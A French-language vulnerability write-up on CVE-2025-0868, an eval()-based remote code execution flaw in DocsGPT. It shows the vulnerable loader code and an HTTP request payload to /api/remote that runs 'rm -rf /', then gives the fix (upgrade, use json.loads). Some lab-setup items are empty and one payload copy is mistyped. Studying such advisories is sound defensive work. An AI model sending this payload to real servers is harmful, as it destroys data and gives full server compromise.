
Rapport détaillé de test d'intrusion et démonstration d'exploit pour CVE-2025-0868, une RCE critique dans DocsGPT via eval() non sécurisé, incluant la configuration du laboratoire, la création de payload et les stratégies d'atténuation.
Une faille critique d'exécution de code à distance (RCE) (CVE-2025-0868) a été divulguée le 20 février 2025 dans la bibliothèque open-source DocsGPT, causée par une utilisation dangereuse de eval() lors de l'analyse de payloads JSON.
Points clés :
Cette vulnérabilité permet aux attaquants d'exécuter du code Python arbitraire via le point de terminaison /api/remote. DocsGPT est un outil d'IA générative open-source qui permet d'interroger la documentation de projets à l'aide de modèles GPT.
| Catégorie | Détails |
|---|---|
| ID CVE | CVE-2025-0868 |
| Logiciel affecté | DocsGPT v0.8.1 – v0.12.0 |
| Type de vulnérabilité | Exécution de code à distance (RCE) |
| Vecteur d'attaque | Réseau (requête HTTP vers /api/remote) |
| Cause racine | Utilisation dangereuse de eval() sur une entrée JSON non fiable |
| Impact | Compromission totale du serveur (exécution de commandes arbitraires) |
| Correspondance CWE | CWE-77 : Neutralisation incorrecte des éléments spéciaux utilisés dans une commande |
Vecteur : AV:N/AC:L/PR:N/UI:N/VC:H/VI:H/VA:H
Score de base : 9.3 (CRITIQUE)
Métriques d'exploitabilité :
Métriques d'impact :
La vulnérabilité se trouve dans reddit_loader.py où l'entrée utilisateur est traitée à l'aide de la fonction dangereuse eval() :
def load_data(self, inputs):
data = eval(inputs) # Vulnerable code
client_id = data.get("client_id")
client_secret = data.get("client_secret")
user_agent = data.get("user_agent")
Cela permet à un attaquant d'exécuter du code Python malveillant dans les champs JSON : POST /api/remote HTTP/1.1 Content-Type: application/json
{"data": "import('os').system('rm -rf /')"}
Pour exploiter cette vulnérabilité, nous avons recréé l'environnement vulnérable et un espace de travail sûr à l'aide de :
Nous avons développé un script Python qui exécute du code à distance (RCE) en envoyant un payload malveillant au point de terminaison /api/remote, exploitant l'utilisation dangereuse de eval().
/api/remote./api/remote.POST /api/remote HTTP/1.1
Content-Type: application/json
{"data": "__import__('os').system('rm -rf /')"}
Mettez à jour vers DocsGPT v0.12.1 et les versions ultérieures
Remplacez eval() par json.loads().
Lien : https://github.com/arc53/DocsGPT/blob/df9d432d29c1bbdf28abb3d35d129060b1964dd3/applicatio n/parser/remote/reddit_loader.py#L9